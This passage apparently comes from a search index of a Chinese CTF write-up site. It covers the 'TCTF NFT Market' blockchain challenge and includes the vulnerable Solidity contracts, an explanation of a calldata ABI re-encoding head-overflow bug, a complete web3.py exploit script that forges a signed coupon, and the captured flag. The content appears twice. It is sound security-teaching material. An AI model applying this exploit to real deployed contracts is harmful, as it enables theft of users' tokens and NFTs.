( coupon . user == msg . sender , \"Invalid user\" ); require ( coupon . newprice > 0 , \"Invalid price\" ); verifier . verifyCoupon ( scoupon ); Order memory order = getOrder ( coupon . orderId ); _deleteOrder ( coupon . orderId ); IERC721 nft = IERC721 ( order . nftAddress ); address owner = nft . ownerOf ( order . tokenId ); tctfToken . transferFrom ( coupon . user , owner , coupon . newprice ); nft . safeTransferFrom ( owner , coupon . user , order . tokenId ); emit NFTBought ( coupon . user , order . nftAddress , order . tokenId , coupon . newprice ); } function purchaseTest ( address nftAddress , uint256 tokenId , uint256 price ) external { require ( ! tested , \"Tested\" ); tested = true ; IERC721 nft = IERC721 ( nftAddress ); uint256 orderId = TctfMarket ( this ). createOrder ( nftAddress , tokenId , price ); nft . approve ( address ( this ), tokenId ); TctfMarket ( this ). purchaseOrder ( orderId ); } function win () external { require ( tctfNFT . ownerOf ( 1 ) == msg . sender && tctfNFT . ownerOf ( 2 ) == msg . sender && tctfNFT . ownerOf ( 3 ) == msg . sender ); emit SendFlag (); } function isNFTApprovedOrOwner ( address nftAddress , address spender , uint256 tokenId ) internal view returns ( bool ) { IERC721 nft = IERC721 ( nftAddress ); address owner = nft . ownerOf ( tokenId ); return ( spender == owner || nft . isApprovedForAll ( owner , spender ) || nft . getApproved ( tokenId ) == spender ); } function _deleteOrder ( uint256 orderId ) internal { orders [ orderId ] = orders [ orders . length - 1 ]; orders . pop (); } function onERC721Received ( address , address , uint256 , bytes memory ) public pure returns ( bytes4 ) { return this . onERC721Received . selector ; } } contract CouponVerifierBeta { TctfMarket market ; bool tested ; constructor () { market = TctfMarket ( msg . sender ); } function verifyCoupon ( SignedCoupon calldata scoupon ) public { require ( ! tested , \"Tested\" ); tested = true ; Coupon memory coupon = scoupon . coupon ; Signature memory sig = scoupon . signature ; Order memory order = market . getOrder ( coupon . orderId ); bytes memory serialized = abi . encode ( \"I, the issuer\" , coupon . issuer , \"offer a special discount for\" , coupon . user , \"to buy\" , order , \"at\" , coupon . newprice , \"because\" , coupon . reason ); IERC721 nft = IERC721 ( order . nftAddress ); address owner = nft . ownerOf ( order . tokenId ); require ( coupon . issuer == owner , \"Invalid issuer\" ); require ( ecrecover ( keccak256 ( serialized ), sig . v , sig . rs [ 0 ], sig . rs [ 1 ]) == coupon . issuer , \"Invalid signature\" ); } } \u901a\u8fc7 airdrop() \u548c purchaseTest() \u5bb9\u6613\u83b7\u5f97 tokenId \u4e3a 1\u30012 \u7684 TNFT\u3002\u8981\u83b7\u5f97 tokenId \u4e3a 3 \u7684 TNFT \u663e\u7136\u9700\u8981\u4f7f\u7528\u5230 purchaseWithCoupon() \uff0c\u4f46\u6240\u6709\u8005\u4e3a\u5408\u7ea6\uff0c\u4e0d\u5b58\u5728\u80fd\u591f\u7528\u4e8e\u7b7e\u540d\u7684\u79c1\u94a5\uff0c verifyCoupon() \u7684\u5224\u65ad\u6761\u4ef6\u4e5f\u76f8\u5f53\u4e25\u683c\uff0c\u65e0\u6cd5\u4f2a\u9020\u7b7e\u540d \u867d\u7136\u6709\u60f3\u8fc7\u901a\u8fc7 purchaseWithCoupon() \u6765\u7a83\u53d6\u5408\u7ea6 TctfToken \u7684 TTK\uff0c\u4f46 purchaseWithCoupon() \u9650\u5236\u4e86 msg.sender \u5fc5\u987b\u4e3a coupon.user (\u2565\u03c9\u2565) \u5728 0.8.16 \u4e4b\u524d\u5b58\u5728 Head Overflow \u7684 Bug\uff0c\u53d1\u751f\u5728 calldata tuple \u8fdb\u884c ABI \u91cd\u7f16\u7801\u65f6\uff0c SignedCoupon \u6070\u597d\u6ee1\u8db3\u6f0f\u6d1e\u89e6\u53d1\u7684\u6761\u4ef6 tuple \u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u662f\u9759\u6001\u6570\u7ec4\u4e14\u5b58\u50a8\u5728 calldata \uff0c\u6570\u7ec4\u5143\u7d20\u4e3a\u57fa\u672c\u7c7b\u578b uint \u6216 bytes32 \uff0c\u5bf9\u5e94 Signature \u4e2d\u7684 bytes32[2] rs tuple \u5305\u542b\u81f3\u5c11\u4e00\u4e2a\u52a8\u6001\u5143\u7d20\uff0c\u5982 bytes \u6216\u5305\u542b\u52a8\u6001\u6570\u7ec4\u7684\u7ed3\u6784\u4f53\uff0c\u5373 Coupon \u4e2d\u7684 bytes reason \u4ee3\u7801\u4f7f\u7528 ABI coder v2\uff08\u81ea 0.8.0 \u8d77\u9ed8\u8ba4\uff09 tuple \u7684 ABI \u7f16\u7801\u5305\u542b\u4e24\u90e8\u5206\uff0c\u9759\u6001\u7f16\u7801\u7684 head \u4ee5\u53ca\u52a8\u6001\u7f16\u7801\u7684 tail \uff0c head \u4e2d\u5305\u542b\u9759\u6001\u5143\u7d20\u4ee5\u53ca\u52a8\u6001\u5143\u7d20\u81ea\u7f16\u7801\u8d77\u7684\u504f\u79fb\uff0c\u52a8\u6001\u5143\u7d20\u5b9e\u9645\u5b58\u50a8\u5728 tail \u4e2d \u7f16\u7801\u540e\u7684 scoupon \u53c2\u6570\u5e03\u5c40\u5982\u4e0b\uff0c\u5e95\u90e8\u6570\u5b57\u8868\u793a\u7f16\u7801\u7684\u987a\u5e8f +---------------------------------------------+ +-------------------------------------------------------------------------------------------------------------+ | HEAD | | TAIL | +---------------------------------------------+ +-------------------------------------------------------------------------------------------------------------+ | value of scoupon | | value of coupon | | SignedCoupon | | Coupon | | | | | | | | | +------------------+--------------------------+ +-------------------------------------------------------------------------------------------+-----------------+ | offset of coupon | value of signature | | HEAD of Coupon | TAIL of Coupon | | | Signature | | | | | uint +------------+-------------+ +------------------+-------------------+-----------------+---------------+------------------+-----------------+ | | value of v | value of rs | | value of orderId | value of newprice | value of issuer | value of user | offset of reason | value of reason | | | int8 | bytes32[2] | | uint256 | uint256 | address | address | uint | bytes | +------------------+------------+-------------+ +------------------+-------------------+-----------------+---------------+------------------+-----------------+ | 1 | 8 | 9 | | 2 | 3 | 4 | 5 | 6 | 7 | +------------------+------------+-------------+ +------------------+-------------------+-----------------+---------------+------------------+-----------------+ \u5f53\u9759\u6001\u6570\u7ec4\u4f5c\u4e3a\u7ed3\u6784\u4f53\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u65f6\uff0c\u5176\u540e tail \u7684\u524d \\(32\\) \u5b57\u8282\u5c06\u88ab\u8986\u76d6\uff08\u5b9e\u9645\u5c06\u88ab\u8986\u76d6\u4e3a \\(0\\) \uff09\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5f53 purchaseWithCoupon() \u8c03\u7528 verifyCoupon() \u65f6\uff0c\u5b9e\u9645\u53c2\u4e0e\u9a8c\u8bc1\u7684\u90fd\u662f orderId \u4e3a 0 \u7684\u8ba2\u5355 \u9996\u5148\u518d\u521b\u5efa\u4e00\u4e2a TctfNFT \u5408\u7ea6\u5e76 mint() 1 \u4e2a token\uff0c\u5229\u7528 purchaseTest() \u8f6c\u79fb TctfMarket \u7684\u6240\u6709\u4f59\u989d\u3002\u968f\u540e purchaseOrder(1) \uff0c\u6b64\u65f6 tokenId \u4e3a 3 \u7684\u8ba2\u5355\u4e0b\u6807\u4e3a 1 \uff0c\u63a5\u7740 createOrder() \u4f7f\u5f97\u8c03\u7528 purchaseOrder(0) \u540e orderId \u4e3a 0 \u7684\u8ba2\u5355\u53d7\u63a7\uff0c\u4ece\u800c\u80fd\u5bf9\u5176\u8fdb\u884c\u7b7e\u540d\u5e76\u901a\u8fc7\u9a8c\u8bc1 from web3 import Web3 import json , eth_abi , requests def transact ( func , gas = 1000000 ): # \u5b8c\u5584 transaction \u76f8\u5173\u53c2\u6570\u907f\u514d 401 Client Error: Unauthorized for url # \u53c2\u8003\uff1ahttps://github.com/chainflag/eth-challenge-base/issues/19 tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : gas , 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) w3 = Web3 ( Web3 . HTTPProvider ( \"http://47.102.40.39:8545\" )) account = w3 . eth . account . create () print ( account . address , account . privateKey . hex ()) tx_hash = requests . post ( 'http://47.102.40.39:8080/api/claim' , data = { 'address' : account . address }) . text . split ( ' ' )[ 1 ] if tx_hash . startswith ( '0x' ): w3 . eth . wait_for_transaction_receipt ( tx_hash ) market_addr = '0x6FcDb85597567cACe6DCacE3cd58Da6fea815cB6' market_abi = json . loads ( open ( 'NFTmarket/market_abi.json' ) . read ()) token_abi = json . loads ( open ( 'NFTmarket/token_abi.json' ) . read ()) nft_abi = json . loads ( open ( 'NFTmarket/nft_abi.json' ) . read ()) market_contract = w3 . eth . contract ( address = market_addr , abi = market_abi ) token_addr = market_contract . functions . tctfToken () . call () token_contract = w3 . eth . contract ( address = token_addr , abi = token_abi ) nft_addr = market_contract . functions . tctfNFT () . call () nft_contract = w3 . eth . contract ( address = nft_addr , abi = nft_abi ) nft_bytecode = open ( 'NFTmarket/nft_bytecode.txt' ) . read () fnft_contract = w3 . eth . contract ( abi = nft_abi , bytecode = nft_bytecode ) # \u6c7d\u6cb9\u8d39\u4e0d\u8db3\u4f1a\u5bfc\u81f4\u5408\u7ea6\u521b\u5efa\u5931\u8d25\uff0c\u4ecd\u7136\u80fd\u83b7\u5f97\u5408\u7ea6\u5730\u5740\uff0c\u4f46\u65e0\u6cd5\u4e0e\u4e4b\u4ea4\u4e92 fnft_addr = transact ( 'fnft_contract.constructor()' , fnft_contract . constructor () . estimateGas () * 2 ) . contractAddress print ( 'fake NFT:' , fnft_addr ) fnft_contract = w3 . eth . contract ( address = fnft_addr , abi = nft_abi ) transact ( 'fnft_contract.functions.mint(account.address, 1)' ) transact ( 'fnft_contract.functions.mint(account.address, 2)' ) transact ( 'fnft_contract.functions.setApprovalForAll(market_addr, True)' ) transact ( 'market_contract.functions.purchaseTest(fnft_addr, 1, 1337)' ) transact ( 'token_contract.functions.airdrop()' ) print ( 'Current TTK balance:' , token_contract . functions . balanceOf ( account . address ) . call ()) transact ( 'token_contract.functions.approve(market_addr, 1339)' ) transact ( 'market_contract.functions.purchaseOrder(1)' ) transact ( 'market_contract.functions.createOrder(fnft_addr, 2, 1)' ) transact ( 'market_contract.functions.purchaseOrder(0)' ) print ( market_contract . functions . getOrder ( 0 ) . call ()) print ( market_contract . functions . getOrder ( 1 ) . call ()) data = [ \"I, the issuer\" , account . address , \"offer a special discount for\" , account . address , \"to buy\" , [ fnft_addr , 2 , 1 ], \"at\" , 1 , \"because\" , b '' ] serialized = eth_abi . encode ([ 'string' , 'address' , 'string' , 'address' , 'string' , '(address,uint256,uint256)' , 'string' , 'uint' , 'string' , 'bytes' ], data ) serialized = serialized [: - 32 ] # eth_abi==2.2.0\uff0c\u5f53 bytes \u957f\u5ea6\u4e3a 0 \u65f6\u4ecd\u586b\u5145\u4e86 32 \u5b57\u8282 \\x00\uff0c\u6bd4\u901a\u8fc7 solidity \u8fdb\u884c abi.encode() \u7684\u7ed3\u679c\u591a 32 \u5b57\u8282 sig = w3 . eth . account . _sign_hash ( w3 . solidityKeccak ([ 'bytes' ], [ serialized ]), private_key = account . privateKey ) assert w3 . eth . account . _recover_hash ( w3 . solidityKeccak ([ 'bytes' ], [ serialized ]), signature = sig . signature . hex ()) == account . address scoupon = ({ 'coupon' : ( 1 , 1 , account . address , account . address , b '' ), # \u8d2d\u4e70 tokenId \u4e3a 3 \u7684 TNFT 'signature' : ( sig . v , [ w3 . toHex ( sig . r ), w3 . toHex ( sig . s )]) }) transact ( 'market_contract.functions.purchaseWithCoupon(scoupon)' ) print ( 'TNFT count:' , nft_contract . functions . balanceOf ( account . address ) . call ()) print ( transact ( 'market_contract.functions.win()' ) . transactionHash . hex ()) Flag \u00b6 flag{off_by_null_in_the_market_d711fbd6a7c0c015b42d} \u53c2\u8003\u8d44\u6599 \u00b6 Head Overflow Bug in Calldata Tuple ABI-Reencoding | Solidity Blog Formal Specification of the Encoding","title":"TCTF NFT Market"},{"location":"blockchain/tctf_nft_market/#_1","text":"Welcome to TCTF NFT Market, a secure, open-source, and decentralized NFT marketplace! Trade your favourite NFTs (and flag) here! nc 47.102.40.39 20000","title":"\u9898\u76ee"},{"location":"blockchain/tctf_nft_market/#_2","text":"PoW.py import itertools , pwn from hashlib import sha256 from string import ascii_letters , digits table = ascii_letters + digits conn = pwn . remote ( '47.102.40.39' , 20000 ) ret = conn . recvline_contains ( 'sha256' ) . decode () base = ret [ ret . find ( '(' ) + 1 : ret . find ( '+ ???' )] . strip () for ch in itertools . permutations ( table , 4 ): m = base + '' . join ( ch ) if sha256 ( m . encode ()) . hexdigest () . endswith ( '00000' ): conn . sendafter ( '[-] ??? =' , f ' { m [ - 4 :] } \\n ' ) break conn . interactive () \u6301\u6709 tokenId \u4e3a 1\u30012\u30013 \u7684 TNFT \u5373\u53ef\u89e6\u53d1\u4e8b\u4ef6 SendFlag \u53ef\u4ee5\u8c03\u7528\u4e00\u6b21 airdrop() \u83b7\u5f97 5 TTK \u5f53\u6301\u6709\u6216\u88ab\u6279\u51c6\u4f7f\u7528 TNFT \u65f6\uff0c\u53ef\u4ee5 createOrder() \u6216 cancelOrder() \u5f53\u6301\u6709\u8db3\u591f TTK \u65f6\u53ef\u4ee5 purchaseOrder() \u53ef\u4ee5\u4f7f\u7528\u7ecf TNFT \u6240\u6709\u8005\u7b7e\u540d\u7684 coupon \u8c03\u7528\u4e00\u6b21 purchaseWithCoupon() \uff0c\u4ee5\u4fee\u6539\u540e\u7684\u4ef7\u683c\u8fdb\u884c\u8d2d\u4e70 \u53ef\u4ee5\u8fdb\u884c\u4e00\u6b21 purchaseTest() \uff0c TctfMarket \u5c06\u81ea\u5df1\u5b8c\u6210\u8ba2\u5355\u7684\u521b\u5efa\u4e0e\u8d2d\u4e70\uff0c\u7531\u4e8e approve \u4e0d\u80fd\u6388\u6743\u7ed9\u6240\u6709\u8005\uff0c\u53ef\u4ee5\u5229\u7528 purchaseTest() \u6765\u8f6c\u79fb TctfMarket \u7684 TTK task.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.15 ; import \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" ; import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"@openzeppelin/contracts/access/Ownable.sol\" ; contract TctfNFT is ERC721 , Ownable { constructor () ERC721 ( \"TctfNFT\" , \"TNFT\" ) { _setApprovalForAll ( address ( this ), msg . sender , true ); } function mint ( address to , uint256 tokenId ) external onlyOwner { _mint ( to , tokenId ); } } contract TctfToken is ERC20 { bool airdropped ; constructor () ERC20 ( \"TctfToken\" , \"TTK\" ) { _mint ( address ( this ), 100000000000 ); _mint ( msg . sender , 1337 ); } function airdrop () external { require ( ! airdropped , \"Already airdropped\" ); airdropped = true ; _mint ( msg . sender , 5 ); } } struct Order { address nftAddress ; uint256 tokenId ; uint256 price ; } struct Coupon { uint256 orderId ; uint256 newprice ; address issuer ; address user ; bytes reason ; } struct Signature { uint8 v ; bytes32 [ 2 ] rs ; } struct SignedCoupon { Coupon coupon ; Signature signature ; } contract TctfMarket { event SendFlag (); event NFTListed ( address indexed seller , address indexed nftAddress , uint256 indexed tokenId , uint256 price ); event NFTCanceled ( address indexed seller , address indexed nftAddress , uint256 indexed tokenId ); event NFTBought ( address indexed buyer , address indexed nftAddress , uint256 indexed tokenId , uint256 price ); bool tested ; TctfNFT public tctfNFT ; TctfToken public tctfToken ; CouponVerifierBeta public verifier ; Order [] orders ; constructor () { tctfToken = new TctfToken (); tctfToken . approve ( address ( this ), type ( uint256 ). max ); tctfNFT = new TctfNFT (); tctfNFT . mint ( address ( tctfNFT ), 1 ); tctfNFT . mint ( address ( this ), 2 ); tctfNFT . mint ( address ( this ), 3 ); verifier = new CouponVerifierBeta (); orders . push ( Order ( address ( tctfNFT ), 1 , 1 )); orders . push ( Order ( address ( tctfNFT ), 2 , 1337 )); orders . push ( Order ( address ( tctfNFT ), 3 , 13333333337 )); } function getOrder ( uint256 orderId ) public view returns ( Order memory order ) { require ( orderId < orders . length , \"Invalid orderId\" ); order = orders [ orderId ]; } function createOrder ( address nftAddress , uint256 tokenId , uint256 price ) external returns ( uint256 ) { require ( price > 0 , \"Invalid price\" ); require ( isNFTApprovedOrOwner ( nftAddress , msg . sender , tokenId ), \"Not owner\" ); orders . push ( Order ( nftAddress , tokenId , price )); emit NFTListed ( msg . sender , nftAddress , tokenId , price ); return orders . length - 1 ; } function cancelOrder ( uint256 orderId ) external { Order memory order = getOrder ( orderId ); require ( isNFTApprovedOrOwner ( order . nftAddress , msg . sender , order . tokenId ), \"Not owner\" ); _deleteOrder ( orderId ); emit NFTCanceled ( msg . sender , order . nftAddress , order . tokenId ); } function purchaseOrder ( uint256 orderId ) external { Order memory order = getOrder ( orderId ); _deleteOrder ( orderId ); IERC721 nft = IERC721 ( order . nftAddress ); address owner = nft . ownerOf ( order . tokenId ); tctfToken . transferFrom ( msg . sender , owner , order . price ); nft . safeTransferFrom ( owner , msg . sender , order . tokenId ); emit NFTBought ( msg . sender , order . nftAddress , order . tokenId , order . price ); } function purchaseWithCoupon ( SignedCoupon calldata scoupon ) external { Coupon memory coupon = scoupon . coupon ; require ( coupon . user == msg . sender , \"Invalid user\" ); require ( coupon . newprice > 0 , \"Invalid price\" ); verifier . verifyCoupon ( scoupon ); Order memory order = getOrder ( coupon . orderId ); _deleteOrder ( coupon . orderId ); IERC721 nft = IERC721 ( order . nftAddress ); address owner = nft . ownerOf ( order . tokenId ); tctfToken . transferFrom ( coupon . user , owner , coupon . newprice ); nft . safeTransferFrom ( owner , coupon . user , order . tokenId ); emit NFTBought ( coupon . user , order . nftAddress , order . tokenId , coupon . newprice ); } function purchaseTest ( address nftAddress , uint256 tokenId , uint256 price ) external { require ( ! tested , \"Tested\" ); tested = true ; IERC721 nft = IERC721 ( nftAddress ); uint256 orderId = TctfMarket ( this ). createOrder ( nftAddress , tokenId , price ); nft . approve ( address ( this ), tokenId ); TctfMarket ( this ). purchaseOrder ( orderId ); } function win () external { require ( tctfNFT . ownerOf ( 1 ) == msg . sender && tctfNFT . ownerOf ( 2 ) == msg . sender && tctfNFT . ownerOf ( 3 ) == msg . sender ); emit SendFlag (); } function isNFTApprovedOrOwner ( address nftAddress , address spender , uint256 tokenId ) internal view returns ( bool ) { IERC721 nft = IERC721 ( nftAddress ); address owner = nft . ownerOf ( tokenId ); return ( spender == owner || nft . isApprovedForAll ( owner , spender ) || nft . getApproved ( tokenId ) == spender ); } function _deleteOrder ( uint256 orderId ) internal { orders [ orderId ] = orders [ orders . length - 1 ]; orders . pop (); } function onERC721Received ( address , address , uint256 , bytes memory ) public pure returns ( bytes4 ) { return this . onERC721Received . selector ; } } contract CouponVerifierBeta { TctfMarket market ; bool tested ; constructor () { market = TctfMarket ( msg . sender ); } function verifyCoupon ( SignedCoupon calldata scoupon ) public { require ( ! tested , \"Tested\" ); tested = true ; Coupon memory coupon = scoupon . coupon ; Signature memory sig = scoupon . signature ; Order memory order = market . getOrder ( coupon . orderId ); bytes memory serialized = abi . encode ( \"I, the issuer\" , coupon . issuer , \"offer a special discount for\" , coupon . user , \"to buy\" , order , \"at\" , coupon . newprice , \"because\" , coupon . reason ); IERC721 nft = IERC721 ( order . nftAddress ); address owner = nft . ownerOf ( order . tokenId ); require ( coupon . issuer == owner , \"Invalid issuer\" ); require ( ecrecover ( keccak256 ( serialized ), sig . v , sig . rs [ 0 ], sig . rs [ 1 ]) == coupon . issuer , \"Invalid signature\" ); } } \u901a\u8fc7 airdrop() \u548c purchaseTest() \u5bb9\u6613\u83b7\u5f97 tokenId \u4e3a 1\u30012 \u7684 TNFT\u3002\u8981\u83b7\u5f97 tokenId \u4e3a 3 \u7684 TNFT \u663e\u7136\u9700\u8981\u4f7f\u7528\u5230 purchaseWithCoupon() \uff0c\u4f46\u6240\u6709\u8005\u4e3a\u5408\u7ea6\uff0c\u4e0d\u5b58\u5728\u80fd\u591f\u7528\u4e8e\u7b7e\u540d\u7684\u79c1\u94a5\uff0c verifyCoupon() \u7684\u5224\u65ad\u6761\u4ef6\u4e5f\u76f8\u5f53\u4e25\u683c\uff0c\u65e0\u6cd5\u4f2a\u9020\u7b7e\u540d \u867d\u7136\u6709\u60f3\u8fc7\u901a\u8fc7 purchaseWithCoupon() \u6765\u7a83\u53d6\u5408\u7ea6 TctfToken \u7684 TTK\uff0c\u4f46 purchaseWithCoupon() \u9650\u5236\u4e86 msg.sender \u5fc5\u987b\u4e3a coupon.user (\u2565\u03c9\u2565) \u5728 0.8.16 \u4e4b\u524d\u5b58\u5728 Head Overflow \u7684 Bug\uff0c\u53d1\u751f\u5728 calldata tuple \u8fdb\u884c ABI \u91cd\u7f16\u7801\u65f6\uff0c SignedCoupon \u6070\u597d\u6ee1\u8db3\u6f0f\u6d1e\u89e6\u53d1\u7684\u6761\u4ef6 tuple \u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u662f\u9759\u6001\u6570\u7ec4\u4e14\u5b58\u50a8\u5728 calldata \uff0c\u6570\u7ec4\u5143\u7d20\u4e3a\u57fa\u672c\u7c7b\u578b uint \u6216 bytes32 \uff0c\u5bf9\u5e94 Signature \u4e2d\u7684 bytes32[2] rs tuple \u5305\u542b\u81f3\u5c11\u4e00\u4e2a\u52a8\u6001\u5143\u7d20\uff0c\u5982 bytes \u6216\u5305\u542b\u52a8\u6001\u6570\u7ec4\u7684\u7ed3\u6784\u4f53\uff0c\u5373 Coupon \u4e2d\u7684 bytes reason \u4ee3\u7801\u4f7f\u7528 ABI coder v2\uff08\u81ea 0.8.0 \u8d77\u9ed8\u8ba4\uff09 tuple \u7684 ABI \u7f16\u7801\u5305\u542b\u4e24\u90e8\u5206\uff0c\u9759\u6001\u7f16\u7801\u7684 head \u4ee5\u53ca\u52a8\u6001\u7f16\u7801\u7684 tail \uff0c head \u4e2d\u5305\u542b\u9759\u6001\u5143\u7d20\u4ee5\u53ca\u52a8\u6001\u5143\u7d20\u81ea\u7f16\u7801\u8d77\u7684\u504f\u79fb\uff0c\u52a8\u6001\u5143\u7d20\u5b9e\u9645\u5b58\u50a8\u5728 tail \u4e2d \u7f16\u7801\u540e\u7684 scoupon \u53c2\u6570\u5e03\u5c40\u5982\u4e0b\uff0c\u5e95\u90e8\u6570\u5b57\u8868\u793a\u7f16\u7801\u7684\u987a\u5e8f +---------------------------------------------+ +-------------------------------------------------------------------------------------------------------------+ | HEAD | | TAIL | +---------------------------------------------+ +-------------------------------------------------------------------------------------------------------------+ | value of scoupon | | value of coupon | | SignedCoupon | | Coupon | | | | | | | | | +------------------+--------------------------+ +-------------------------------------------------------------------------------------------+-----------------+ | offset of coupon | value of signature | | HEAD of Coupon | TAIL of Coupon | | | Signature | | | | | uint +------------+-------------+ +------------------+-------------------+-----------------+---------------+------------------+-----------------+ | | value of v | value of rs | | value of orderId | value of newprice | value of issuer | value of user | offset of reason | value of reason | | | int8 | bytes32[2] | | uint256 | uint256 | address | address | uint | bytes | +------------------+------------+-------------+ +------------------+-------------------+-----------------+---------------+------------------+-----------------+ | 1 | 8 | 9 | | 2 | 3 | 4 | 5 | 6 | 7 | +------------------+------------+-------------+ +------------------+-------------------+-----------------+---------------+------------------+-----------------+ \u5f53\u9759\u6001\u6570\u7ec4\u4f5c\u4e3a\u7ed3\u6784\u4f53\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u65f6\uff0c\u5176\u540e tail \u7684\u524d \\(32\\) \u5b57\u8282\u5c06\u88ab\u8986\u76d6\uff08\u5b9e\u9645\u5c06\u88ab\u8986\u76d6\u4e3a \\(0\\) \uff09\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5f53 purchaseWithCoupon() \u8c03\u7528 verifyCoupon() \u65f6\uff0c\u5b9e\u9645\u53c2\u4e0e\u9a8c\u8bc1\u7684\u90fd\u662f orderId \u4e3a 0 \u7684\u8ba2\u5355 \u9996\u5148\u518d\u521b\u5efa\u4e00\u4e2a TctfNFT \u5408\u7ea6\u5e76 mint() 1 \u4e2a token\uff0c\u5229\u7528 purchaseTest() \u8f6c\u79fb TctfMarket \u7684\u6240\u6709\u4f59\u989d\u3002\u968f\u540e purchaseOrder(1) \uff0c\u6b64\u65f6 tokenId \u4e3a 3 \u7684\u8ba2\u5355\u4e0b\u6807\u4e3a 1 \uff0c\u63a5\u7740 createOrder() \u4f7f\u5f97\u8c03\u7528 purchaseOrder(0) \u540e orderId \u4e3a 0 \u7684\u8ba2\u5355\u53d7\u63a7\uff0c\u4ece\u800c\u80fd\u5bf9\u5176\u8fdb\u884c\u7b7e\u540d\u5e76\u901a\u8fc7\u9a8c\u8bc1 from web3 import Web3 import json , eth_abi , requests def transact ( func , gas = 1000000 ): # \u5b8c\u5584 transaction \u76f8\u5173\u53c2\u6570\u907f\u514d 401 Client Error: Unauthorized for url # \u53c2\u8003\uff1ahttps://github.com/chainflag/eth-challenge-base/issues/19 tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : gas , 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) w3 = Web3 ( Web3 . HTTPProvider ( \"http://47.102.40.39:8545\" )) account = w3 . eth . account . create () print ( account . address , account . privateKey . hex ()) tx_hash = requests . post ( 'http://47.102.40.39:8080/api/claim' , data = { 'address' : account . address }) . text . split ( ' ' )[ 1 ] if tx_hash . startswith ( '0x' ): w3 . eth . wait_for_transaction_receipt ( tx_hash ) market_addr = '0x6FcDb85597567cACe6DCacE3cd58Da6fea815cB6' market_abi = json . loads ( open ( 'NFTmarket/market_abi.json' ) . read ()) token_abi = json . loads ( open ( 'NFTmarket/token_abi.json' ) . read ()) nft_abi = json . loads ( open ( 'NFTmarket/nft_abi.json' ) . read ()) market_contract = w3 . eth . contract ( address = market_addr , abi = market_abi ) token_addr = market_contract . functions . tctfToken () . call () token_contract = w3 . eth . contract ( address = token_addr , abi = token_abi ) nft_addr = market_contract . functions . tctfNFT () . call () nft_contract = w3 . eth . contract ( address = nft_addr , abi = nft_abi ) nft_bytecode = open ( 'NFTmarket/nft_bytecode.txt' ) . read () fnft_contract = w3 . eth . contract ( abi = nft_abi , bytecode = nft_bytecode ) # \u6c7d\u6cb9\u8d39\u4e0d\u8db3\u4f1a\u5bfc\u81f4\u5408\u7ea6\u521b\u5efa\u5931\u8d25\uff0c\u4ecd\u7136\u80fd\u83b7\u5f97\u5408\u7ea6\u5730\u5740\uff0c\u4f46\u65e0\u6cd5\u4e0e\u4e4b\u4ea4\u4e92 fnft_addr = transact ( 'fnft_contract.constructor()' , fnft_contract . constructor () . estimateGas () * 2 ) . contractAddress print ( 'fake NFT:' , fnft_addr ) fnft_contract = w3 . eth . contract ( address = fnft_addr , abi = nft_abi ) transact ( 'fnft_contract.functions.mint(account.address, 1)' ) transact ( 'fnft_contract.functions.mint(account.address, 2)' ) transact ( 'fnft_contract.functions.setApprovalForAll(market_addr, True)' ) transact ( 'market_contract.functions.purchaseTest(fnft_addr, 1, 1337)' ) transact ( 'token_contract.functions.airdrop()' ) print ( 'Current TTK balance:' , token_contract . functions . balanceOf ( account . address ) . call ()) transact ( 'token_contract.functions.approve(market_addr, 1339)' ) transact ( 'market_contract.functions.purchaseOrder(1)' ) transact ( 'market_contract.functions.createOrder(fnft_addr, 2, 1)' ) transact ( 'market_contract.functions.purchaseOrder(0)' ) print ( market_contract . functions . getOrder ( 0 ) . call ()) print ( market_contract . functions . getOrder ( 1 ) . call ()) data = [ \"I, the issuer\" , account . address , \"offer a special discount for\" , account . address , \"to buy\" , [ fnft_addr , 2 , 1 ], \"at\" , 1 , \"because\" , b '' ] serialized = eth_abi . encode ([ 'string' , 'address' , 'string' , 'address' , 'string' , '(address,uint256,uint256)' , 'string' , 'uint' , 'string' , 'bytes' ], data ) serialized = serialized [: - 32 ] # eth_abi==2.2.0\uff0c\u5f53 bytes \u957f\u5ea6\u4e3a 0 \u65f6\u4ecd\u586b\u5145\u4e86 32 \u5b57\u8282 \\x00\uff0c\u6bd4\u901a\u8fc7 solidity \u8fdb\u884c abi.encode() \u7684\u7ed3\u679c\u591a 32 \u5b57\u8282 sig = w3 . eth . account . _sign_hash ( w3 . solidityKeccak ([ 'bytes' ], [ serialized ]), private_key = account . privateKey ) assert w3 . eth . account . _recover_hash ( w3 . solidityKeccak ([ 'bytes' ], [ serialized ]), signature = sig . signature . hex ()) == account . address scoupon = ({ 'coupon' : ( 1 , 1 , account . address , account . address , b '' ), # \u8d2d\u4e70 tokenId \u4e3a 3 \u7684 TNFT 'signature' : ( sig . v , [ w3 . toHex ( sig . r ), w3 . toHex ( sig . s )]) }) transact ( 'market_contract.functions.purchaseWithCoupon(scoupon)' ) print ( 'TNFT count:' , nft_contract . functions . balanceOf ( account . address ) . call ()) print ( transact ( 'market_contract.functions.win()' ) . transactionHash . hex ())","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/tctf_nft_market/#flag","text":"flag{off_by_null_in_the_market_d711fbd6a7c0c015b42d}","title":"Flag"},{"location":"blockchain/tctf_nft_market/#_3","text":"Head Overflow Bug in Calldata Tuple ABI-Reencoding | Solidity Blog Formal Specification of the Encoding","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/tealyman/","tags":["smart contract","algorand","teal","beginner"],"text":"#smart contract #algorand #teal #beginner .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; 